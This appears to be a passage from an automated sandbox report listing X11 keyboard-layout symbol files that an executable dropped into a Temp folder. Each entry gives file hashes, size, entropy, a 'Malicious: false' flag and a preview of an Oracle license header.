SHA1:	8394E0E11CAC3053A6777C5B4C8E69A71AA9A50A
SHA-256:	87FECC6FD99C6B1462043EEA31DA5DB5625BD9C788DFD1846B753F522A7BCE60
SHA-512:	6557BC46D9895D691E29E071FF826D3D10E3F191DA21745EC6C9EDA5EC2485E747B48163AD9FE8670B82E2D3CB0469028B08235704087E9FA04E79D27B0C2864
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\cz

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4682
Entropy (8bit):	5.007814796655143
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNgc9RastXaK3hZhjyZ:HtSQHV9cF51mrxiUR5fhjyZ
MD5:	6C2BA112E4F7D16B3DBD1262B2252961
SHA1:	44EEDF5AAF512EDD82278D251FD7474E23F6E1DC
SHA-256:	0BB758FF693DAF63577CAF8E11F6CF2C8921B284709A5278A208427977DB8E85
SHA-512:	7B554809B4BA9CF6E6A967374D0E139625308F45F96470FED3B853A9FC896DD16338473F013DBCFBE9E390F5D053C4B636939A3F4D2900031E5BD6AD92F64B04
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\de

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5356
Entropy (8bit):	4.842855461691755
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNaNo7OmoH10W5Y23pUGDw8eg46uejnRkRx:HtSQHV9cF51mrxcNo7Omg10Z
MD5:	4FF56A7150782FD65BC2CC4276DB3DF9
SHA1:	F59786E2F452F7E63856E7E57F10BBC7C9EBE305
SHA-256:	C7D520EE11D8D3FA4D4F6BFFDB5EE9B347DA6618F0645893D6A9120B6486CD59
SHA-512:	5211B29169A9086601414425A0827CF9D8E31885D07E3D38B53F5E4DDEECD10D2E292548B37E539F087252BE2902AA838B1D791DEA32DA15799738DE52B9D3DC
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\dk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3797
Entropy (8bit):	4.792828843932919
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNaave2bM0gCyDijkl:HtSQHV9cF51mrxcXSM01yDi+
MD5:	60FB3DBBAACAA3C8136A5C314B04AB6C
SHA1:	D76CD084045418CC2236E2F2549EB509F7039085
SHA-256:	7A06995286676FC9A8FB51D0BFC3F630929E9EA738C0B186E0C48FB0A253276C
SHA-512:	65ED35C707625A456D01FDD160D8FC1FA27A83DC1F47F751AC580E0C45B6721F7774620FF0472F6CF98B688DA2D259161DCE1025A35B553B194FA107049C9559
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ee

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5819
Entropy (8bit):	4.606673509993815
Encrypted:	false
SSDEEP:	96:HFPIa23fQHG49cF51eNrxNdfcK1kbrv9TUtBdA80cZp:H+QHV9cF51mrxTV1kbrv9TUtrX0op
MD5:	B4F7C4485C450034CDCBCB086C45A9BB
SHA1:	1C28F5AACA0D8824DEC31FCB283AB111B9DC4C25
SHA-256:	7FF2640E1453320BCB4316C38852C135BCC6FA51D110916D3A8C3A51756D89DF
SHA-512:	9E6870A8795D98237C09138E08BD1AC9A2D65C89462B87012D494DB1BF209E8031A3B9AA6CE7B8DF9398484198FD0D276EB91A10BBBFAEB694035FF4C11F2AC2
Malicious:	false
Preview:	//.// Copyright (c) 2009, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\es

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4287
Entropy (8bit):	4.868614696880036
Encrypted:	false
SSDEEP:	96:HtRPIa23JQHG49cF51eprxNajU35Y4K2NNKStHj:HtyQHV9cF51grxcj8LK+NK4D
MD5:	F719AFD9676C67128DF6FC49BF4D8520
SHA1:	26F337B37CE1B5F12230E1110FCF010C72079761
SHA-256:	D0A793307CDD633CA70347266966B9837BED96452AE9A9A60A53188E69D4437E
SHA-512:	88E669161887229C89F799D2DDC669C31B523EB1C4E89E881B4381907EC37683D9936D070EDDA600539EE278E200BB641924C8A73623C9838B4922A8FF33BBD5
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..//.// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOLD

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\fi

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4234
Entropy (8bit):	4.610433659033152
Encrypted:	false
SSDEEP:	96:HtRPIa23JQHG49cF51eprxNayoEE0G3kGGAP:HtyQHV9cF51grxcjEE0G0G7P
MD5:	A92C7A2C891A96B5D06976A92A568586
SHA1:	6EED7CDB40D1739E1B2909384C5BD511249A8768
SHA-256:	EE264F2FF06D883E64AD77B4839507FD3255ACA6A308B5DA2B360756152921A7
SHA-512:	7B15C60E6D16E4662982F10EF9BFD6EDA96811E3DCDFEAE6C953FCD678EBE7DBDFBBE18BA9B17EF20FC1764E7802601E1BF11326FC2172F7954219F3DAD3B44B
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..//.// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOLD

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\fr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5438
Entropy (8bit):	4.913033940069203
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNabqcu5Ez3h+rv3mH:HtSQHV9cF51mrxcbqN5oR+r/K
MD5:	39281F768A8D5B187EA55CC9051AC4ED
SHA1:	3AC320F848F97D5067C6D0F2B26CD43835729EB4
SHA-256:	8628508F6905D9623ABEBD746EF7A3FFFBF887EDB70E4D982A4033C2647505E7
SHA-512:	E01BA115681E6940304189FAB0BA510198B37E283EE58AB1F50108D7E8E74FE4D171497C034AC6C501F4B0125DE52ABA85ECEED61293D2323047FFC202536470
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\gb

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2800
Entropy (8bit):	5.243903996067053
Encrypted:	false
SSDEEP:	48:HtIDQJrxPvAatgBZt9QHQssoIE9cxrSmHF3eNrxNYGyo5+uhNcvYkL:HtRPIa23fQHG49cF51eNrxNaoEuQ/L
MD5:	42AEA1309837A79B35C93DD5716B1D10
SHA1:	082203294A3AD2E208D7AA4B28841653E389612C
SHA-256:	EEBA11EFC3BE7BBDAAA95233DE89A06555B7373857E2DFDB0747D1A6683B51F7
SHA-512:	6F49850DC9DC55F15CD87EE4F6E08BCC3C59A43DF3C180CDCC7C0C2903D82DDDD4109EB749278326A13CFB5F1819BBEBFBF7B334AE160A253F2987913F40A00B
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\gr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5276
Entropy (8bit):	4.900771303233627
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNdRPtnWWGvrw5Y1ix7RC9v1nC:HtSQHV9cF51mrxTRpWWGvs5BxwDC
MD5:	683E1B5881520CE42817FD8143CA58EC
SHA1:	964C7C41361F8477FC05029C1F028E1BC07DAC82
SHA-256:	92ED479E3CC18A5EEB7AA533AD206AC8536E161EA85560BACB3DFB02AB7D9525
SHA-512:	B6070EBB94427A1A7C3D3AA3875B788733A1E4F2EF67AA096E68F5B56E8AE880745E67E74110DF4D05050EA1E420F839F65A732E20EE20FF8D2856794C2991FD
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\it

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4161
Entropy (8bit):	4.580213653599595
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNa1yir8vX+u75CG7Kk0ZK:HtSQHV9cF51mrxc1yC8vX+uv
MD5:	857E505A5586BAC06D43FA0F2F552557
SHA1:	D7FBCB02AF545EBEA6CBA7E37819ACC6B94E2DF3
SHA-256:	3268D712A074F4C31B39CF53F982BD423EB049DDC3340437ED5FEE81297C8572
SHA-512:	890C20FE695A06415EE3F4045D7C40254B65C4C05E6FCC8EC2A50318FE496DDF7090B9DDD9F88BCDA983F5F0F79D64BE79AEAFD90D5EE97686344C6259407661
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6606
Entropy (8bit):	4.866312750104648
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNmfJNR7kpdhRGq28J806Jzfsoq6/Sz7qB:HtSQHV9cF51mrxSJNR7kpdhf28SIJ7E
MD5:	D68285481E47FD303801F26F8A199F3D
SHA1:	BBC13F56F72E54BC396129EE369C192E0B824E73
SHA-256:	61F4A1DA00D4B3D6AF4FA65C9379431E2327EF2D936FB2DEB2194F2BAB6E2B62
SHA-512:	06D0977BC02492520D34AB1322A953E507F0EE3D853503E9995E84DA7F5EDC60DEFD32F7794B8504F001B52BEEA6619CA4F434FDFCB6DD7489441A7E88A1CE48
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\kr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2446
Entropy (8bit):	5.255800256245375
Encrypted:	false
SSDEEP:	48:HtIDQJrxPvAatgBZt9QHQssoIE9cxrSmHF3eNrxNYGPXFX:HtRPIa23fQHG49cF51eNrxNt
MD5:	0D03081835DDB5438D6CEAEB3C3C91FB
SHA1:	C83354FF4C22BD4691E7CFAB215BE5396380A629
SHA-256:	1A2E29788A7FC92845C0ED77DCD74D59EB3AE4028E70F362AAD16129F7BB7E94
SHA-512:	46E7172336260807A7CF8F212065C2D8114C75ECBE149E3DE3DEC9B0213C32831E8A5551A0DC32B5A1EF056D99CE46932849634CAB4F8AF4E52FB613DEA57B93
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\lt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5705
Entropy (8bit):	4.8186760475713735
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNai07pN/elbkNZ9GTpGzwqt:HtSQHV9cF51mrxciqelb49G8zV
MD5:	A5B4F0CC1C91DE5082BFB39870EE5F25
SHA1:	5DBAF81C1A8BCB1BC2A05E1E60B3D9F3EFF936BE
SHA-256:	ABCFC0BC84C6BC130540E8DE436A73FA257686FA870E6B527B1D389888EE5B16
SHA-512:	97EB5214F72770A9441D8D073C9625A6C3392444B713602BDAD1433BC3522A5CAF4150D4D4A394EECCF0E9936994D92E55461853B3CF3F0361073842D182FBC0
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\lv

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6723
Entropy (8bit):	4.703822192211913
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNdFmcgKgSj0vDJE8rCRH120zCETPjM:HtSQHV9cF51mrxT4cgKgSyDJjiV2wCZ
MD5:	B7357E1E2D1A9367BF2D4995DE954AD5
SHA1:	AE2D7E4A61F32EA014D53B882C1FB46B91EAFCC4
SHA-256:	923BC0098986D69837B4561CC8A7AB098E6D924F6936F247DAA4BF0891555CB1
SHA-512:	B4FD1A777D23DAAE29D04B62E5BDEFACBA663E655E56A51E0E38E0428DEAB59A290CD847648285F2F18A98E048948681FD30CE5CDABA69586CDCC38EE33FE308
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\nl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4216
Entropy (8bit):	4.882278383135362
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNigL0r8N991IJj:HtSQHV9cF51mrxcgL3N9Ap
MD5:	C1B5061D5C0E364B1B58FAEDE79710C0
SHA1:	45D9231D17B8642037DB25D35819C67CAA77DB85
SHA-256:	DC919D82C81E8A1E3E15B0F6AB949B9EA1BC8972B6D2520CB4F52EDED6C5447D
SHA-512:	86D968835D6C1256ED70991E44D88F676E65DDA3027E1160BDE20A877492CACA3FC4CA8E1F6CFA91309EACD7AFFD25EDBEF98C76B2B5A2A29D64871BCE91CC5E
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\no

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4038
Entropy (8bit):	4.832955753022807
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNa2ZimMcUE0OmM:HtSQHV9cF51mrxc2gmMcUE0OV
MD5:	6E443BFF3E73175A31DC69DA92B9430A
SHA1:	1EC8B7E515F334260438702534DECF5789605494
SHA-256:	1D8CBD81161AE079CF5A681A4A58C924BAE20689F150332F6DEDCC079B5D4046
SHA-512:	E232987A3609EDD67B35BAB13F207DDD6DFE618483AA470B3AEDCBCCF7B9403BDAF8FB0FADF567951D41DC1ABD75914F981B29EB34FBF925570A4A4968F65ED8
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\pl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4198
Entropy (8bit):	5.317018938131708
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNahIjpsML0s3Y0AMFW7XpD:HtSQHV9cF51mrxc6jnL5JA9h
MD5:	48D2A0BE075F156EAC072BA0B934FAD2
SHA1:	05A37A09CFE16EE819533A9E13AAB2E52A98AF14
SHA-256:	007D26270906D050596E0A68E0DE63683B1624EAC27A748B7855BE2BF68ABA53
SHA-512:	DD7243490E5FBFA63DC79B9EEA8BB6D2AF8F07ED9145E53205B0ABDDC27E1605768E5835C96D74C9ABD2256685C8678EE378AFA535DE5D4E1F9AECCCDF6A7F80
Malicious:	false
